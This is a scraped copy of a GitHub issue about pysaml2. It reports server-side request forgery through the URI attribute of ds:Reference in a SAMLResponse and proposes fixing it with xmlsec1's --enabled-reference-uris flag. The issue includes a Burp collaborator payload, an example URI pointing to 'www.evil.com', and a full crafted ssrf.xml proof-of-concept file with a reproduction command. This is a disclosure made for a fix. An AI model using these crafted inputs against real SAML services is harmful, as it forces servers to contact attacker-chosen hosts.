question-mark
Stuck on an issue?

Lightrun Answers was designed to reduce the constant googling that comes with debugging 3rd party libraries. It collects links to all the places you might be looking at while hunting down a tough bug.

And, if you’re still stuck at the end, we’re happy to hop on a call to see how we can help out.

SSRF from `URI` attribute in `SAMLResponse`

See original GitHub issue

Howdy y’all, been tracking down the root cause of another SSRF reported by a client. Lots of SAML is new to me so please feel free to be critical!

Code Version

pysaml2 = 4.5.0 xmlsec1 = 1.2.25

Expected Behavior

pysaml2 should not make arbitrary http calls.

Current Behavior

A Burp scan reported the following:

Issue:   External service interaction (HTTP)

Path:   /saml/sso/okta/

Issue detail

It is possible to induce the application to perform server-side HTTP requests to arbitrary domains.

The payload http://9kukx3fprxyfcbyfnkcie63gu708oycw4ju6lw9l.burpcollaborator.net?#id117178283225551701714676244 was submitted in the URI XML attribute, within the Base64-decoded value of the SAMLResponse parameter.

The application performed an HTTP request to the specified domain.

I encountered SSRF recently (https://github.com/IdentityPython/pysaml2/issues/508) because of an outdated xmlsec1. In this case, however, it occurred with an up-to-date pysaml2 (4.5.0) and xmlsec1 (1.2.25).

The SSRF occurs in the URI field of the ds:Reference node of a SAML response. Normally, these look like this:

<ds:Reference URI="#id117178283225551701714676244">

but you can change them to something like this:

<ds:Reference URI="http://www.evil.com/uhoh?#id117178283225551701714676244">

and the URI will be resolved internally.

The pysaml2 method that triggers the SSRF is parse_authn_request_response. I tracked down the root cause to the call out to xmlsec1 --verify.

Possible Solution

There appears to be a simple fix. There is a flag --enabled-reference-uris in xmlsec1 that prevents this.

--enabled-reference-uris <list>
  comma separated list of of the following values:
  "empty", "same-doc", "local","remote" to restrict possible URI
  attribute values for the <dsig:Reference> element

Setting it to same-doc no longer triggers an SSRF.

I think this would a one-line fix in sigver.py:validate_signature.

Steps to Reproduce

Here is a command to replicate the SSRF:

xmlsec1 --verify --pubkey-cert-pem cert.pem --id-attr:ID urn:oasis:names:tc:SAML:2.0:protocol:Response --node-id id13006418945800911522578705 --output foo.xml ssrf.xml

Run a local web server to see the request. e.g.

python3 -m http.server

The files cert.pem and ssrf.py are pasted below. They’re intercepted from an authentication flow on a local Flask app created by following Okta’s pysaml2 tutorial.

You can tweak the URI in ssrf.xml (grep for localhost).

cert.pem

-----BEGIN CERTIFICATE-----
MIIDpDCCAoygAwIBAgIGAWQF+esNMA0GCSqGSIb3DQEBCwUAMIGSMQswCQYDVQQGEwJVUzETMBEG
A1UECAwKQ2FsaWZvcm5pYTEWMBQGA1UEBwwNU2FuIEZyYW5jaXNjbzENMAsGA1UECgwET2t0YTEU
MBIGA1UECwwLU1NPUHJvdmlkZXIxEzARBgNVBAMMCmRldi0xMzc3NzMxHDAaBgkqhkiG9w0BCQEW
DWluZm9Ab2t0YS5jb20wHhcNMTgwNjE2MDAyMjQyWhcNMjgwNjE2MDAyMzQxWjCBkjELMAkGA1UE
BhMCVVMxEzARBgNVBAgMCkNhbGlmb3JuaWExFjAUBgNVBAcMDVNhbiBGcmFuY2lzY28xDTALBgNV
BAoMBE9rdGExFDASBgNVBAsMC1NTT1Byb3ZpZGVyMRMwEQYDVQQDDApkZXYtMTM3NzczMRwwGgYJ
KoZIhvcNAQkBFg1pbmZvQG9rdGEuY29tMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA
r353+7h1iCfRyY8MB2fJgdBlsLaA//tTJ2akD0IXv4Z0LnwYcQvkeLFfdtnLkgLQtGtv6sS/YXHw
Kt4olom48wp0ddr1Buzb9Fd35A5scJtw2alD2QzY6UuHGHQh+Y8sxXvImbOW7DpnMmazehupe03r
xU8IkAi+Zw5E2revZPcnvYLvmCH02sX7GebQNZdxSaJw+iI/BZPG0RRwctNORd2Pja/vS4PSpvwS
35A+/zy4L8xDHDpQt8TDeI4kcSXmByVcDy44ps95L+4cZUyerxmlik1zGNgeDrrCZY3gvE+puEd8
ovTUoDc+0lyJwST8zoG0LgvzhoY4BSaG3JduLQIDAQABMA0GCSqGSIb3DQEBCwUAA4IBAQAOw/MA
goYqUVP1EcoVf3KNDh3hOtYcii09WyNItckhDujd9kMllxtySrMP9j90K2+SO0t2I4QAVfWY/NNc
YErLIs19FHM433GCfLAcm57D0AuTv5LYwZQh2IJ55meVoaNOqxk3O5Hb0xK80C/tx0Tuy/7mjoW1
z/vMeaSuaMvd+ogozEM6gynL7sLjoYu9xMHlrzSF15OTu+p/EodlcSnDOGs2LZxjAPOSQed5xYdq
b+8BA5Mb/jYqA7646MwiAbMopAupEhSWCKs0CM3kavSs5HfSkyvLHMEMPjtUqy/oXSYj7vhQstcb
JwVHX4/elPvl4AVd6Ch10PL/2R+U3Hj9
-----END CERTIFICATE-----

ssrf.xml

<?xml version="1.0" encoding="UTF-8"?><saml2p:Response xmlns:saml2p="urn:oasis:names:tc:SAML:2.0:protocol" Destination="http://localhost:5000/saml/sso/example-okta-com" ID="id13006418945800911522578705" InResponseTo="id-oKQEk3ORAkDv4zi2c" IssueInstant="2018-06-16T00:35:14.241Z" Version="2.0" xmlns:xs="http://www.w3.org/2001/XMLSchema"><saml2:Issuer xmlns:saml2="urn:oasis:names:tc:SAML:2.0:assertion" Format="urn:oasis:names:tc:SAML:2.0:nameid-format:entity">http://www.okta.com/exkfhm6ik8yNzY33b0h7</saml2:Issuer><ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#"><ds:SignedInfo><ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/><ds:SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256"/><ds:Reference URI="http://localhost:8000/uhoh?#id13006418945800911522578705"><ds:Transforms><ds:Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature"/><ds:Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"><ec:InclusiveNamespaces xmlns:ec="http://www.w3.org/2001/10/xml-exc-c14n#" PrefixList="xs"/></ds:Transform></ds:Transforms><ds:DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256"/><ds:DigestValue>yukVDz+mAUx0MDDQczU8r9O0WT/9UgQAlzgMv9lGbcE=</ds:DigestValue></ds:Reference></ds:SignedInfo><ds:SignatureValue>mKAPrbhHzIzTeuyBKYnuW/gYOKQm4ys+8pMIu0a3BiM8hJ7nyGkH9m/OHwykpYf974o4oaM/5Oeo4d+t+lz7kkvae8WukRmqpXn/HdKKetAvUGyYsXADZQODxrsuF/lHlDZsjukTbwC/2zvCqbrPYTba58FJSpSyaVXV5O4AM/WLA+9B4EAqZe9K/htoERh38lgjauGPLoYJ/69qzJ9QMmyYptD8gJZlh1EjyVyDI2ReUbWYT6GQrT8/jnRacJP0gA1UMtS7G9IT/HRqBC25Co+gvKa82ddsGJuv81FFn0pNztokXCudrloJKAAyMNZ9YWP4pM76ECm1+dS3nucFoA==</ds:SignatureValue><ds:KeyInfo><ds:X509Data><ds:X509Certificate>MIIDpDCCAoygAwIBAgIGAWQF+esNMA0GCSqGSIb3DQEBCwUAMIGSMQswCQYDVQQGEwJVUzETMBEG
A1UECAwKQ2FsaWZvcm5pYTEWMBQGA1UEBwwNU2FuIEZyYW5jaXNjbzENMAsGA1UECgwET2t0YTEU
MBIGA1UECwwLU1NPUHJvdmlkZXIxEzARBgNVBAMMCmRldi0xMzc3NzMxHDAaBgkqhkiG9w0BCQEW
DWluZm9Ab2t0YS5jb20wHhcNMTgwNjE2MDAyMjQyWhcNMjgwNjE2MDAyMzQxWjCBkjELMAkGA1UE
BhMCVVMxEzARBgNVBAgMCkNhbGlmb3JuaWExFjAUBgNVBAcMDVNhbiBGcmFuY2lzY28xDTALBgNV
BAoMBE9rdGExFDASBgNVBAsMC1NTT1Byb3ZpZGVyMRMwEQYDVQQDDApkZXYtMTM3NzczMRwwGgYJ
KoZIhvcNAQkBFg1pbmZvQG9rdGEuY29tMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA
r353+7h1iCfRyY8MB2fJgdBlsLaA//tTJ2akD0IXv4Z0LnwYcQvkeLFfdtnLkgLQtGtv6sS/YXHw
Kt4olom48wp0ddr1Buzb9Fd35A5scJtw2alD2QzY6UuHGHQh+Y8sxXvImbOW7DpnMmazehupe03r
xU8IkAi+Zw5E2revZPcnvYLvmCH02sX7GebQNZdxSaJw+iI/BZPG0RRwctNORd2Pja/vS4PSpvwS
35A+/zy4L8xDHDpQt8TDeI4kcSXmByVcDy44ps95L+4cZUyerxmlik1zGNgeDrrCZY3gvE+puEd8
ovTUoDc+0lyJwST8zoG0LgvzhoY4BSaG3JduLQIDAQABMA0GCSqGSIb3DQEBCwUAA4IBAQAOw/MA
goYqUVP1EcoVf3KNDh3hOtYcii09WyNItckhDujd9kMllxtySrMP9j90K2+SO0t2I4QAVfWY/NNc
YErLIs19FHM433GCfLAcm57D0AuTv5LYwZQh2IJ55meVoaNOqxk3O5Hb0xK80C/tx0Tuy/7mjoW1
z/vMeaSuaMvd+ogozEM6gynL7sLjoYu9xMHlrzSF15OTu+p/EodlcSnDOGs2LZxjAPOSQed5xYdq
b+8BA5Mb/jYqA7646MwiAbMopAupEhSWCKs0CM3kavSs5HfSkyvLHMEMPjtUqy/oXSYj7vhQstcb
JwVHX4/elPvl4AVd6Ch10PL/2R+U3Hj9</ds:X509Certificate></ds:X509Data></ds:KeyInfo></ds:Signature><saml2p:Status xmlns:saml2p="urn:oasis:names:tc:SAML:2.0:protocol"><saml2p:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/></saml2p:Status><saml2:Assertion xmlns:saml2="urn:oasis:names:tc:SAML:2.0:assertion" ID="id13006418946048531513586761" IssueInstant="2018-06-16T00:35:14.241Z" Version="2.0" xmlns:xs="http://www.w3.org/2001/XMLSchema"><saml2:Issuer Format="urn:oasis:names:tc:SAML:2.0:nameid-format:entity" xmlns:saml2="urn:oasis:names:tc:SAML:2.0:assertion">http://www.okta.com/exkfhm6ik8yNzY33b0h7</saml2:Issuer><ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#"><ds:SignedInfo><ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/><ds:SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256"/><ds:Reference URI="#id13006418946048531513586761"><ds:Transforms><ds:Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature"/><ds:Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"><ec:InclusiveNamespaces xmlns:ec="http://www.w3.org/2001/10/xml-exc-c14n#" PrefixList="xs"/></ds:Transform></ds:Transforms><ds:DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256"/><ds:DigestValue>y7rrzPTUGqzMCBOA6m9rqPoMcWV4NqydgctJelO3BtI=</ds:DigestValue></ds:Reference></ds:SignedInfo><ds:SignatureValue>fHzgiqlCg2hgtx12hRuyr3/ZuHIXlhTue74+w3n1Wv9SeBGp9qyGOiSqfPhFAVoznIdlPlh0dL+8DDnBzqEN1gr9wb3yMRaFI2dBxqCzvfZfHzG9PFy+BIHutujtt9IK3m0eGGtge/FhXhfX1GB3htJOQlfeH8vPfREnsFkcHuiWcd2R7abmu05SCVjfaAHjgmR7uVWyGapl46YmSn2n5w9hQnoIw+uKSAebCRnmYD+HB1YCn4kHrdQxfG0bwg2/31morNS2x87TfY3+6QGoeXqFrBSlAFt6XNHCPBi5CpGTNkhcL5IVKYBZrwKmIiMdJ2X16F0YQWO8GNbFjcCx0g==</ds:SignatureValue><ds:KeyInfo><ds:X509Data><ds:X509Certificate>MIIDpDCCAoygAwIBAgIGAWQF+esNMA0GCSqGSIb3DQEBCwUAMIGSMQswCQYDVQQGEwJVUzETMBEG
A1UECAwKQ2FsaWZvcm5pYTEWMBQGA1UEBwwNU2FuIEZyYW5jaXNjbzENMAsGA1UECgwET2t0YTEU
MBIGA1UECwwLU1NPUHJvdmlkZXIxEzARBgNVBAMMCmRldi0xMzc3NzMxHDAaBgkqhkiG9w0BCQEW
DWluZm9Ab2t0YS5jb20wHhcNMTgwNjE2MDAyMjQyWhcNMjgwNjE2MDAyMzQxWjCBkjELMAkGA1UE
BhMCVVMxEzARBgNVBAgMCkNhbGlmb3JuaWExFjAUBgNVBAcMDVNhbiBGcmFuY2lzY28xDTALBgNV
BAoMBE9rdGExFDASBgNVBAsMC1NTT1Byb3ZpZGVyMRMwEQYDVQQDDApkZXYtMTM3NzczMRwwGgYJ
KoZIhvcNAQkBFg1pbmZvQG9rdGEuY29tMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA
r353+7h1iCfRyY8MB2fJgdBlsLaA//tTJ2akD0IXv4Z0LnwYcQvkeLFfdtnLkgLQtGtv6sS/YXHw
Kt4olom48wp0ddr1Buzb9Fd35A5scJtw2alD2QzY6UuHGHQh+Y8sxXvImbOW7DpnMmazehupe03r
xU8IkAi+Zw5E2revZPcnvYLvmCH02sX7GebQNZdxSaJw+iI/BZPG0RRwctNORd2Pja/vS4PSpvwS
35A+/zy4L8xDHDpQt8TDeI4kcSXmByVcDy44ps95L+4cZUyerxmlik1zGNgeDrrCZY3gvE+puEd8
ovTUoDc+0lyJwST8zoG0LgvzhoY4BSaG3JduLQIDAQABMA0GCSqGSIb3DQEBCwUAA4IBAQAOw/MA
goYqUVP1EcoVf3KNDh3hOtYcii09WyNItckhDujd9kMllxtySrMP9j90K2+SO0t2I4QAVfWY/NNc
YErLIs19FHM433GCfLAcm57D0AuTv5LYwZQh2IJ55meVoaNOqxk3O5Hb0xK80C/tx0Tuy/7mjoW1
z/vMeaSuaMvd+ogozEM6gynL7sLjoYu9xMHlrzSF15OTu+p/EodlcSnDOGs2LZxjAPOSQed5xYdq
b+8BA5Mb/jYqA7646MwiAbMopAupEhSWCKs0CM3kavSs5HfSkyvLHMEMPjtUqy/oXSYj7vhQstcb
JwVHX4/elPvl4AVd6Ch10PL/2R+U3Hj9</ds:X509Certificate></ds:X509Data></ds:KeyInfo></ds:Signature><saml2:Subject xmlns:saml2="urn:oasis:names:tc:SAML:2.0:assertion"><saml2:NameID Format="urn:oasis:names:tc:SAML:1.1:nameid-format:unspecified">marc@rvit.co</saml2:NameID><saml2:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer"><saml2:SubjectConfirmationData InResponseTo="id-oKQEk3ORAkDv4zi2c" NotOnOrAfter="2018-06-16T00:40:14.241Z" Recipient="http://localhost:5000/saml/sso/example-okta-com"/></saml2:SubjectConfirmation></saml2:Subject><saml2:Conditions NotBefore="2018-06-16T00:30:14.241Z" NotOnOrAfter="2018-06-16T00:40:14.241Z" xmlns:saml2="urn:oasis:names:tc:SAML:2.0:assertion"><saml2:AudienceRestriction><saml2:Audience>http://localhost:5000/saml/sso/example-okta-com</saml2:Audience></saml2:AudienceRestriction></saml2:Conditions><saml2:AuthnStatement AuthnInstant="2018-06-16T00:24:55.527Z" SessionIndex="id-oKQEk3ORAkDv4zi2c" xmlns:saml2="urn:oasis:names:tc:SAML:2.0:assertion"><saml2:AuthnContext><saml2:AuthnContextClassRef>urn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport</saml2:AuthnContextClassRef></saml2:AuthnContext></saml2:AuthnStatement><saml2:AttributeStatement xmlns:saml2="urn:oasis:names:tc:SAML:2.0:assertion"><saml2:Attribute Name="FirstName" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified"><saml2:AttributeValue xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="xs:string">Marc</saml2:AttributeValue></saml2:Attribute><saml2:Attribute Name="LastName" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified"><saml2:AttributeValue xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="xs:string">Pare</saml2:AttributeValue></saml2:Attribute><saml2:Attribute Name="Email" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified"><saml2:AttributeValue xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="xs:string">marc@rvit.co</saml2:AttributeValue></saml2:Attribute></saml2:AttributeStatement></saml2:Assertion></saml2p:Response>

Issue Analytics

  • State:open
  • Created 5 years ago
  • Reactions:2
  • Comments:9 (9 by maintainers)

github_iconTop GitHub Comments

1reaction
ioparaskevcommented, Nov 3, 2020

Seeing that xmlsec1 also has a similar option --enabled-cipher-reference-uris, I wonder if this issue can also be achieve by taking advantage of the CipherReference element and its URI attribute

1reaction
c00kiemon5tercommented, Jun 18, 2018

@jkakavas yes, we should. This is one of the things I want to do, and it should be part of the type system - ie, our Reference type should be making sure it is representing a valid (as we define) node. (In this particular case it is Signature node that will impose that policy on its Reference child.) Validation should take place at the very start of the process, where we receive data, parse them and represent them with an object. In pysaml2 some things work that way, while others pass around an xml string that needs to be parsed or modified in place; this should change and hopefully will in the near future.

Read more comments on GitHub >

github_iconTop Results From Across the Web

SAML Basics - HackTricks
The Reference element's URI attribute denotes which resource is signed by that particular Signature. By examining our example from earlier, we can see...
Read more >
Learn how to attack SAML 2.0 Security - Seebug
Used to identify the actual issuer of the AuthnRequest request message, usually also in URI format. Signature. The signature method in this case ......
Read more >
Drupal Module MiniorangeSAML 8.x-2.22 - Privilege escalation
... NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:uri"> <saml:AttributeValue xsi:type="xs:string">admin</saml:AttributeValue> ...
Read more >
python-saml - Python Package Health Analysis - Snyk
attributes = auth.get_attributes();. With this method we get a dict with all the user data provided by the IdP in the Assertion of...
Read more >
onelogin/php-saml - Packagist
This version as well will reject SAMLResponse if requestId was provided ... but the SAMLResponse does not contain a InResponseTo attribute.
Read more >

github_iconTop Related Medium Post

No results found

github_iconTop Related StackOverflow Question

No results found

github_iconTroubleshoot Live Code

Lightrun enables developers to add logs, metrics and snapshots to live code - no restarts or redeploys required.
Start Free

github_iconTop Related Reddit Thread

No results found

github_iconTop Related Hackernoon Post

No results found

github_iconTop Related Tweet

No results found

github_iconTop Related Dev.to Post

No results found

github_iconTop Related Hashnode Post

No results found